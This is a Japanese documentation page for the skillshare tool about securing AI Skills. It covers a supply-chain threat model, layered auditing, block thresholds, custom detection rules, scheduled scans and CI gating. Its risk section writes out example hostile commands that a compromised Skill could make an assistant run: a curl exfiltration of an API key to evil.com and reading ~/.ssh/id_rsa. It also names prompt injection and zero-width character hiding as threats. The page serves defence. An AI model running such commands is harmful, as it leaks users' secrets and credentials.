メインコンテンツまでスキップ

Skill をセキュアに保つ

AI Skill は強力です — ファイルの読み取り、コマンドの実行、システムとのやり取りを AI アシスタントに指示します。このガイドは、Skill のインストールとメンテナンスを取り巻くセキュリティワークフローの構築を助けます。

コマンドの全リファレンスは audit を参照してください。

リスク: AI Skill のサプライチェーン​

サンドボックス化されたランタイムで実行される従来のパッケージとは異なり、AI Skill は AI が解釈して直接実行する自然言語の指示を通じて動作します。侵害された Skill は AI に次のことを指示できます。

  • シークレットの流出(curl https://evil.com?key=$API_KEY)
  • 認証情報の読み取り(cat ~/.ssh/id_rsa)
  • プロンプトインジェクションによる安全動作の上書き
  • ゼロ幅 Unicode 文字による悪意の隠蔽
注意

単一の悪意ある Skill は、AI アシスタントがアクセスできるものすべて — 環境変数、SSH キー、クラウド認証情報、ソースコード — にアクセスできます。自動スキャンは既知のパターンを検出しますが、人間によるレビューは依然として不可欠です。

詳細な脅威モデルと検出ルールについては、なぜセキュリティスキャンが重要なのか を参照してください。

多層防御​

単一のレイヤーだけではすべてを捕捉できません。手動レビュー、自動スキャン、カスタムポリシー、CI/CD ゲートを組み合わせましょう。

レイヤーツール何をするか
レビュー手動インストール前に SKILL.md を読み、不審なコマンドがないか確認する
監査skillshare audit自動パターン検出(100以上の組み込みルール、5段階の重大度、6種類のアナライザー)
カスタムルールaudit-rules.yaml組織固有のパターン(内部シークレット、許可リストなど)
CI/CDパイプラインゲートリスクのある Skill を導入する PR をブロックする

共有 Source と実行の境界​

merge mode では、管理対象の各 Target Skill がその Source にリンクします。symlink mode は Source ディレクトリ全体をリンクします。共有ファイルを編集すると、リンクされたすべての Target に変更が見えます。指示を一貫させる一方、望ましくない編集が複数のツールに影響することもあります。copy mode は別々のファイルを作りますが、sync で更新すると同じ望ましくない内容が配布される可能性があります。

共有 Skill の変更はレビュー済みの Git コミットに記録し、リポジトリへの書き込み権限を制限してください。更新や予期しないローカル編集の後には再び Audit を実行します。Diff を確認し、必要に応じてバックアップや Git 履歴から復元します。過去に問題が検出されなかったスキャンは、後の編集を承認するものでも、すべての指示の安全性を保証するものでもありません。

境界制御する範囲制御しない範囲
audit既知のパターンを検出し、設定された検出結果の重大度で install/update をブロックAI によるコマンド実行や、あらゆる意味的なプロンプトインジェクション攻撃
.skillignore と Target フィルターmerge/copy mode で検出または同期する Skill を選択ファイル権限、~/.ssh や ~/.aws へのアクセス、AI ツールの shell アクセス
Git レビューとプロジェクト lockfile共有変更のレビューと、記録されたリモート Skill コミットの再現記録された指示の安全性や、モデルがその指示に従う方法
AI ツールの権限とサンドボックスツールが対応する範囲でファイル、shell、ネットワークへのアクセスを制限Skill カタログの選定や Source のバージョン管理

実行の承認とサンドボックスの制限は各 AI ツールで設定してください。実行時のコマンド権限を適用するのはそのツールです。プライベート Hub はホストのアクセス制御を通じてカタログの配布を管理しますが、社内カタログを選ぶだけでは他の Source からのインストールを禁止できません。

Audit によるブロックは検出結果の重大度(HIGH、CRITICAL など)に基づきます。0–100 の総合リスクスコアは別途表示され、レビューの優先順位付けに使います。ブロックしきい値ではありません。

サプライチェーンセキュリティのライフサイクル​

セキュリティチェックポイントは Skill のインストール方法(--track か通常のインストールか)によって異なります。

設計上のポイント:

  • 通常の Skill のインストール/更新 — 受理前に監査が実行される。インストール/更新に成功すると file_hashes メタデータが書き込まれる
  • Tracked repo のインストールゲート — 新規の --track インストールは、受理前に clone されたリポジトリ全体で監査される
  • Tracked repo の更新ゲート — skillshare update は git pull の後に監査を行う。しきい値以上の検出があると、非対話モードでは自動的にロールバックがトリガーされる
  • 整合性検証の範囲 — content-* のハッシュチェックは file_hashes メタデータが存在する場合のみ実行される

セキュリティチェックリスト​

3段階のチェックリスト

インストール前:

  • Source リポジトリをレビューする(スター数、コントリビューター、最近の活動)
  • SKILL.md を読み、curl、wget、eval、認証情報のパスがないか確認する
  • まずドライランする: skillshare install <source> --dry-run

インストール後:

  • skillshare audit を実行し、すべての検出結果をレビューする
  • Skill が「合格」した場合でも HIGH/MEDIUM の検出結果を確認する(デフォルトのしきい値は CRITICAL)
  • 定期的に再監査する — 新しいルールが以前は検出されなかったパターンを捕捉することがある

チーム向け:

  • 設定で audit.block_threshold: HIGH を設定する
  • 組織固有のシークレットパターン用にカスタムルールを作成する
  • 共有 Skill リポジトリの CI パイプラインに監査を追加する
  • 定期的なスキャンをスケジュールする(下記の 定期スキャン を参照)

組織のポリシー​

ブロックしきい値​

デフォルトのしきい値は CRITICAL の検出結果のみをブロックします。チームにはより厳しいしきい値をお勧めします。

# ~/.config/skillshare/config.yaml
audit:
block_threshold: HIGH # HIGH と CRITICAL の検出結果をブロック

これにより、難読化、破壊的なコマンド、隠されたコンテンツインジェクションといった、Skill ファイルにおいてほぼ常に悪意があるパターンを捕捉できます。

カスタムルール​

組織固有の検出パターンを追加します。よくあるユースケース:

  • 内部 API キーの形式(corp-api-key-*、internal-token-*)
  • 許可されないドメインやサービス
  • 信頼された CI 自動化に対する誤検出の抑制
# ~/.config/skillshare/audit-rules.yaml
rules:
- id: internal-token-leak
severity: HIGH
pattern: internal-token
message: "Internal API token pattern detected"
regex: '(?i)\b(corp-api-key|internal-token)-[A-Za-z0-9]{10,}\b'

- id: destructive-commands-2
severity: MEDIUM
pattern: destructive-commands
message: "Sudo usage (downgraded for CI automation)"
regex: '(?i)\bsudo\s+'

カスタムルールの全リファレンス(マージのセマンティクス、ルールの無効化、除外パターン)については、audit rules — カスタムルール を参照してください。

定期スキャン​

ルールは進化します — インストール時にはクリーンだった Skill が、後で追加された新しいルールに一致することがあります。定期的なスキャンをスケジュールしましょう。

# crontab: 毎週すべての Skill をスキャンし、結果をログに記録
0 9 * * 1 skillshare audit --json >> /var/log/skillshare-audit.json 2>&1

CI/CD 統合​

基本的なパイプラインゲート​

# いずれかの Skill に HIGH 以上の検出結果があればパイプラインを失敗させる
skillshare audit --threshold high
# 終了コード: 0 = クリーン、1 = 検出結果あり

実例: Skill Hub の PR 検証​

skillshare-hub コミュニティリポジトリでは、skillshare audit を使って Pull Request をゲートしています。Skill を変更するすべての PR は自動的にスキャンされ、監査結果が PR コメントとして投稿されます。

# .github/workflows/validate-pr.yml (簡略化)
name: Validate PR
on:
pull_request:
paths: ['skills/**']

jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: runkids/setup-skillshare@v1
with:
source: ./skills
audit: true
audit-threshold: high

完全なワークフロー(PR コメントのレポートやアーティファクトのアップロードを含む)については、validate-pr.yml のソース を参照してください。

その他の CI/CD パターン(SARIF アップロード、strict プロファイル、手動セットアップ)については、CI/CD Skill 検証レシピ を参照してください。

関連項目​